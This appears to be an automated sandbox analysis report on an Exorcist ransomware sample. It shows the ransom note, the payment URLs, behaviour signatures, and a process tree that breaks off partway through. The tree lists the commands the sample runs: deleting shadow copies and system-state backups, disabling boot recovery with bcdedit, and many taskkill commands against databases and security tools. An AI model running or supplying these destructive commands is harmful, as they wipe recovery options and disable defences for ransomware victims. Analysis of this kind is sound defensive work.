Overview

overview

10

Static

static

build-x64-...in.exe

windows7_x64

10

build-x64-...in.exe

windows10_x64

10

Resubmissions

23-09-2020 10:35

200923-mkwlt9yalx 10

23-07-2020 14:59

200723-mtbw6t99d2 10

23-07-2020 13:47

200723-5t3mhtw95x 10

Analysis

  • max time kernel
    145s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    23-07-2020 14:59

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    build-x64-crypt.bin.exe

Score
10/10
ransomwareevasionexorcistpersistence

Malware Config

Extracted

Path

C:\Users\Public\Desktop\zcwiYr-decrypt.hta

Family

exorcist

Ransom Note
zcwiYr Decrypt All your data has been encrypted with Exorcist Ransomware. Do not worry: you have some hours to contact us and decrypt your data by paying a ransom. To do this, follow instructions on this web site: http://217.8.117.26/pay Also, you can install Tor Browser and use this web site: http://4dnd3utjsmm2zcsb.onion/pay IMPORTANT: Do not modify this file, otherwise you will not be able to recover your data! Your authorization key: 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
URLs

http://217.8.117.26/pay

http://4dnd3utjsmm2zcsb.onion/pay

Signatures

  • Exorcist

    Ransomware-as-a-service which avoids infecting machines in CIS nations. First seen in mid-2020.

    ransomwareexorcist
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Deletes System State backups 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Modifies extensions of user files 30 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Deletes itself 1 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Modifies service 2 TTPs 5 IoCs
    persistence
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Windows directory 6 IoCs
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 91 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • NTFS ADS 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 406 IoCs
  • Suspicious use of AdjustPrivilegeToken 132 IoCs
  • Suspicious use of WriteProcessMemory 597 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\build-x64-crypt.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\build-x64-crypt.bin.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1304
    • C:\Windows\system32\cmd.exe
      cmd /C wmic.exe SHADOWCOPY DELETE /nointeractive
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1484
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic.exe SHADOWCOPY DELETE /nointeractive
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1000
    • C:\Windows\system32\cmd.exe
      cmd /C wbadmin DELETE SYSTEMSTATEBACKUP
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1836
      • C:\Windows\system32\wbadmin.exe
        wbadmin DELETE SYSTEMSTATEBACKUP
        3⤵
        • Deletes System State backups
        • Drops file in Windows directory
        PID:1840
    • C:\Windows\system32\cmd.exe
      cmd /C wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:652
      • C:\Windows\system32\wbadmin.exe
        wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
        3⤵
        • Deletes System State backups
        • Drops file in Windows directory
        PID:572
    • C:\Windows\system32\cmd.exe
      cmd /C bcdedit.exe /set {default} recoveryenabled No
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1320
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {default} recoveryenabled No
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:1412
    • C:\Windows\system32\cmd.exe
      cmd /C bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1520
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:1636
    • C:\Windows\system32\cmd.exe
      cmd /C vssadmin.exe Delete Shadows /All /Quiet
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1584
      • C:\Windows\system32\vssadmin.exe
        vssadmin.exe Delete Shadows /All /Quiet
        3⤵
        • Interacts with shadow copies
        PID:1632
    • C:\Windows\system32\cmd.exe
      cmd /C C:\Windows\system32\vssvc.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1880
      • C:\Windows\system32\VSSVC.exe
        C:\Windows\system32\vssvc.exe
        3⤵
          PID:1884
      • C:\Windows\system32\cmd.exe
        cmd /C taskkill /F /T /IM wxServer*
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1888
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM wxServer*
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1976
      • C:\Windows\system32\cmd.exe
        cmd /C taskkill /F /T /IM QBFCService*
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1940
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM QBFCService*
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:852
      • C:\Windows\system32\cmd.exe
        cmd /C taskkill /F /T /IM QBVSS*
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:836
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM QBVSS*
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1404
      • C:\Windows\system32\cmd.exe
        cmd /C taskkill /F /T /IM sql*
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1512
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM sql*
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1388
      • C:\Windows\system32\cmd.exe
        cmd /C taskkill /F /T /IM msaccess*
        2⤵
          PID:1808
          • C:\Windows\system32\taskkill.exe
            taskkill /F /T /IM msaccess*
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:220
        • C:\Windows\system32\cmd.exe
          cmd /C taskkill /F /T /IM mssql*
          2⤵
            PID:784
            • C:\Windows\system32\taskkill.exe
              taskkill /F /T /IM mssql*
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1484
          • C:\Windows\system32\cmd.exe
            cmd /C taskkill /F /T /IM mysql*
            2⤵
              PID:1780
              • C:\Windows\system32\taskkill.exe
                taskkill /F /T /IM mysql*
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:1740
            • C:\Windows\system32\cmd.exe
              cmd /C taskkill /F /T /IM wxServerView*
              2⤵
                PID:572
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /T /IM wxServerView*
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:632
              • C:\Windows\system32\cmd.exe
                cmd /C taskkill /F /T /IM sqlmangr*
                2⤵
                  PID:1212
                  • C:\Windows\system32\taskkill.exe
                    taskkill /F /T /IM sqlmangr*
                    3⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1520
                • C:\Windows\system32\cmd.exe
                  cmd /C taskkill /F /T /IM RAgui*
                  2⤵
                    PID:1552
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /T /IM RAgui*
                      3⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1584
                  • C:\Windows\system32\cmd.exe
                    cmd /C taskkill /F /T /IM supervise*
                    2⤵
                      PID:1884
                      • C:\Windows\system32\taskkill.exe
                        taskkill /F /T /IM supervise*
                        3⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1928
                    • C:\Windows\system32\cmd.exe
                      cmd /C taskkill /F /T /IM Culture*
                      2⤵
                        PID:1976
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /T /IM Culture*
                          3⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2024
                      • C:\Windows\system32\cmd.exe
                        cmd /C taskkill /F /T /IM Defwatch*
                        2⤵
                          PID:852
                          • C:\Windows\system32\taskkill.exe
                            taskkill /F /T /IM Defwatch*
                            3⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1260
                        • C:\Windows\system32\cmd.exe
                          cmd /C taskkill /F /T /IM winword*
                          2⤵
                            PID:1404
                            • C:\Windows\system32\taskkill.exe
                              taskkill /F /T /IM winword*
                              3⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1400
                          • C:\Windows\system32\cmd.exe
                            cmd /C taskkill /F /T /IM QBW32*
                            2⤵
                              PID:1388
                              • C:\Windows\system32\taskkill.exe
                                taskkill /F /T /IM QBW32*
                                3⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:212
                            • C:\Windows\system32\cmd.exe
                              cmd /C taskkill /F /T /IM QBDBMgr*
                              2⤵
                                PID:220
                                • C:\Windows\system32\taskkill.exe
                                  taskkill /F /T /IM QBDBMgr*
                                  3⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1000
                              • C:\Windows\system32\cmd.exe
                                cmd /C taskkill /F /T /IM qbupdate*
                                2⤵
                                  PID:1484
                                  • C:\Windows\system32\taskkill.exe
                                    taskkill /F /T /IM qbupdate*
                                    3⤵
                                    • Kills process with taskkill
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1836
                                • C:\Windows\system32\cmd.exe
                                  cmd /C taskkill /F /T /IM axlbridge*
                                  2⤵
                                    PID:1740
                                    • C:\Windows\system32\taskkill.exe
                                      taskkill /F /T /IM axlbridge*
                                      3⤵
                                      • Kills process with taskkill
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:764
                                  • C:\Windows\system32\cmd.exe
                                    cmd /C taskkill /F /T /IM httpd*
                                    2⤵
                                      PID:632
                                      • C:\Windows\system32\taskkill.exe
                                        taskkill /F /T /IM httpd*
                                        3⤵
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1636
                                    • C:\Windows\system32\cmd.exe
                                      cmd /C taskkill /F /T /IM fdlauncher*
                                      2⤵
                                        PID:1520
                                        • C:\Windows\system32\taskkill.exe
                                          taskkill /F /T /IM fdlauncher*
                                          3⤵
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:1632
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C taskkill /F /T /IM MsDtSrvr*
                                        2⤵
                                          PID:1584
                                          • C:\Windows\system32\taskkill.exe
                                            taskkill /F /T /IM MsDtSrvr*
                                            3⤵
                                            • Kills process with taskkill
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:1932
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C taskkill /F /T /IM java*
                                          2⤵
                                            PID:1928
                                            • C:\Windows\system32\taskkill.exe
                                              taskkill /F /T /IM java*
                                              3⤵
                                              • Kills process with taskkill
                                              PID:1948
                                          • C:\Windows\system32\cmd.exe
                                            cmd /C taskkill /F /T /IM 360se*
                                            2⤵
                                              PID:2024
                                              • C:\Windows\system32\taskkill.exe
                                                taskkill /F /T /IM 360se*
                                                3⤵
                                                • Kills process with taskkill
                                                PID:1940
                                            • C:\Windows\system32\cmd.exe
                                              cmd /C taskkill /F /T /IM 360doctor*
                                              2⤵
                                                PID:1260
                                                • C:\Windows\system32\taskkill.exe
                                                  taskkill /F /T /IM 360doctor*
                                                  3⤵
                                                    PID:324
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /C taskkill /F /T /IM wdswfsafe*
                                                  2⤵
                                                    PID:1400
                                                    • C:\Windows\system32\taskkill.exe
                                                      taskkill /F /T /IM wdswfsafe*
                                                      3⤵
                                                      • Kills process with taskkill
                                                      PID:1536
                                                  • C:\Windows\system32\cmd.exe
                                                    cmd /C taskkill /F /T /IM fdhost*
                                                    2⤵
                                                      PID:212
                                                      • C:\Windows\system32\taskkill.exe
                                                        taskkill /F /T /IM fdhost*
                                                        3⤵
                                                        • Kills process with taskkill
                                                        PID:1808
                                                    • C:\Windows\system32\cmd.exe
                                                      cmd /C taskkill /F /T /IM GDscan*
                                                      2⤵
                                                        PID:1000
                                                        • C:\Windows\system32\taskkill.exe
                                                          taskkill /F /T /IM GDscan*
                                                          3⤵
                                                          • Kills process with taskkill
                                                          PID:864
                                                      • C:\Windows\system32\cmd.exe
                                                        cmd /C taskkill /F /T /IM ZhuDongFangYu*
                                                        2⤵
                                                          PID:1836
                                                          • C:\Windows\system32\taskkill.exe
                                                            taskkill /F /T /IM ZhuDongFangYu*
                                                            3⤵
                                                            • Kills process with taskkill
                                                            PID:1824
                                                        • C:\Windows\system32\cmd.exe
                                                          cmd /C taskkill /F /T /IM QBDBMgrN*
                                                          2⤵
                                                            PID:764
                                                            • C:\Windows\system32\taskkill.exe
                                                              taskkill /F /T /IM QBDBMgrN*
                                                              3⤵
                                                              • Kills process with taskkill
                                                              PID:704
                                                          • C:\Windows\system32\cmd.exe
                                                            cmd /C taskkill /F /T /IM mysqld*
                                                            2⤵
                                                              PID:1636
                                                              • C:\Windows\system32\taskkill.exe
                                                                taskkill /F /T /IM mysqld*
                                                                3⤵
                                                                • Kills process with taskkill
                                                                PID:1212
                                                            • C:\Windows\system32\cmd.exe
                                                              cmd /C taskkill /F /T /IM AutodeskDesktopApp*
                                                              2⤵
                                                                PID:1632
                                                                • C:\Windows\system32\taskkill.exe
                                                                  taskkill /F /T /IM AutodeskDesktopApp*
                                                                  3⤵
                                                                  • Kills process with taskkill
                                                                  PID:1640
                                                              • C:\Windows\system32\cmd.exe
                                                                cmd /C taskkill /F /T /IM acwebbrowser*
                                                                2⤵
                                                                  PID:1932
                                                                  • C:\Windows\system32\taskkill.exe
                                                                    taskkill /F /T /IM acwebbrowser*
                                                                    3⤵
                                                                      PID:1884
                                                                  • C:\Windows\system32\cmd.exe
                                                                    cmd /C taskkill /F /T /IM Creative Cloud*
                                                                    2⤵
                                                                      PID:1948
                                                                      • C:\Windows\system32\taskkill.exe
                                                                        taskkill /F /T /IM Creative Cloud*
                                                                        3⤵
                                                                        • Kills process with taskkill
                                                                        PID:1976
                                                                    • C:\Windows\system32\cmd.exe
                                                                      cmd /C taskkill /F /T /IM Adobe Desktop Service*
                                                                      2⤵
                                                                        PID:1572
                                                                        • C:\Windows\system32\taskkill.exe
                                                                          taskkill /F /T /IM Adobe Desktop Service*
                                                                          3⤵
                                                                            PID:1984
                                                                        • C:\Windows\system32\cmd.exe
                                                                          cmd /C taskkill /F /T /IM CoreSync*
                                                                          2⤵
                                                                            PID:1936
                                                                            • C:\Windows\system32\taskkill.exe
                                                                              taskkill /F /T /IM CoreSync*
                                                                              3⤵
                                                                              • Kills process with taskkill
                                                                              PID:1768
                                                                          • C:\Windows\system32\cmd.exe
                                                                            cmd /C taskkill /F /T /IM Adobe CEF Helper*
                                                                            2⤵
                                                                              PID:1124
                                                                              • C:\Windows\system32\taskkill.exe
                                                                                taskkill /F /T /IM Adobe CEF Helper*
                                                                                3⤵
                                                                                • Kills process with taskkill
                                                                                PID:232
                                                                            • C:\Windows\system32\cmd.exe
                                                                              cmd /C taskkill /F /T /IM node*
                                                                              2⤵
                                                                                PID:1400
                                                                                • C:\Windows\system32\taskkill.exe
                                                                                  taskkill /F /T /IM node*
                                                                                  3⤵
                                                                                  • Kills process with taskkill
                                                                                  PID:1828
                                                                              • C:\Windows\system32\cmd.exe
                                                                                cmd /C taskkill /F /T /IM AdobeIPCBroker*
                                                                                2⤵
                                                                                  PID:212
                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                    taskkill /F /T /IM AdobeIPCBroker*
                                                                                    3⤵
                                                                                    • Kills process with taskkill
                                                                                    PID:1328
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  cmd /C taskkill /F /T /IM sync-taskbar*
                                                                                  2⤵
                                                                                    PID:1604
                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                      taskkill /F /T /IM sync-taskbar*
                                                                                      3⤵
                                                                                      • Kills process with taskkill
                                                                                      PID:904
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    cmd /C taskkill /F /T /IM sync-worker*
                                                                                    2⤵
                                                                                      PID:340
                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                        taskkill /F /T /IM sync-worker*
                                                                                        3⤵
                                                                                          PID:824
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        cmd /C taskkill /F /T /IM InputPersonalization*
                                                                                        2⤵
                                                                                          PID:764
                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                            taskkill /F /T /IM InputPersonalization*
                                                                                            3⤵
                                                                                            • Kills process with taskkill
                                                                                            PID:1600
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          cmd /C taskkill /F /T /IM AdobeCollabSync*
                                                                                          2⤵
                                                                                            PID:1636
                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                              taskkill /F /T /IM AdobeCollabSync*
                                                                                              3⤵
                                                                                              • Kills process with taskkill
                                                                                              PID:1968
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            cmd /C taskkill /F /T /IM BrCtrlCntr*
                                                                                            2⤵
                                                                                              PID:1632
                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                taskkill /F /T /IM BrCtrlCntr*
                                                                                                3⤵
                                                                                                • Kills process with taskkill
                                                                                                PID:1092
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              cmd /C taskkill /F /T /IM BrCcUxSys*
                                                                                              2⤵
                                                                                                PID:1932
                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                  taskkill /F /T /IM BrCcUxSys*
                                                                                                  3⤵
                                                                                                  • Kills process with taskkill
                                                                                                  PID:1492
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                cmd /C taskkill /F /T /IM SimplyConnectionManager*
                                                                                                2⤵
                                                                                                  PID:2024
                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                    taskkill /F /T /IM SimplyConnectionManager*
                                                                                                    3⤵
                                                                                                      PID:2020
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    cmd /C taskkill /F /T /IM Simply.SystemTrayIcon*
                                                                                                    2⤵
                                                                                                      PID:1156
                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                        taskkill /F /T /IM Simply.SystemTrayIcon*
                                                                                                        3⤵
                                                                                                          PID:1936
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        cmd /C taskkill /F /T /IM fbguard*
                                                                                                        2⤵
                                                                                                          PID:236
                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                            taskkill /F /T /IM fbguard*
                                                                                                            3⤵
                                                                                                              PID:1736
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            cmd /C taskkill /F /T /IM fbserver*
                                                                                                            2⤵
                                                                                                              PID:480
                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                taskkill /F /T /IM fbserver*
                                                                                                                3⤵
                                                                                                                • Kills process with taskkill
                                                                                                                PID:1016
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              cmd /C taskkill /F /T /IM ONENOTEM*
                                                                                                              2⤵
                                                                                                                PID:208
                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                  taskkill /F /T /IM ONENOTEM*
                                                                                                                  3⤵
                                                                                                                  • Kills process with taskkill
                                                                                                                  PID:1032
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                cmd /C taskkill /F /T /IM wrapper*
                                                                                                                2⤵
                                                                                                                  PID:1000
                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                    taskkill /F /T /IM wrapper*
                                                                                                                    3⤵
                                                                                                                      PID:1560
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    cmd /C taskkill /F /T /IM DefWatch*
                                                                                                                    2⤵
                                                                                                                      PID:1864
                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                        taskkill /F /T /IM DefWatch*
                                                                                                                        3⤵
                                                                                                                        • Kills process with taskkill
                                                                                                                        PID:1908
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      cmd /C taskkill /F /T /IM ccEvtMgr*
                                                                                                                      2⤵
                                                                                                                        PID:1628
                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                          taskkill /F /T /IM ccEvtMgr*
                                                                                                                          3⤵
                                                                                                                          • Kills process with taskkill
                                                                                                                          PID:1956
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        cmd /C taskkill /F /T /IM ccSetMgr*
                                                                                                                        2⤵
                                                                                                                          PID:1972
                                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                                            taskkill /F /T /IM ccSetMgr*
                                                                                                                            3⤵
                                                                                                                            • Kills process with taskkill
                                                                                                                            PID:1256
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          cmd /C taskkill /F /T /IM SavRoam*
                                                                                                                          2⤵
                                                                                                                            PID:1140
                                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                                              taskkill /F /T /IM SavRoam*
                                                                                                                              3⤵
                                                                                                                                PID:1976
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              cmd /C taskkill /F /T /IM Sqlservr*
                                                                                                                              2⤵
                                                                                                                                PID:1492
                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                  taskkill /F /T /IM Sqlservr*
                                                                                                                                  3⤵
                                                                                                                                    PID:1476
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  cmd /C taskkill /F /T /IM sqlagent*
                                                                                                                                  2⤵
                                                                                                                                    PID:2020
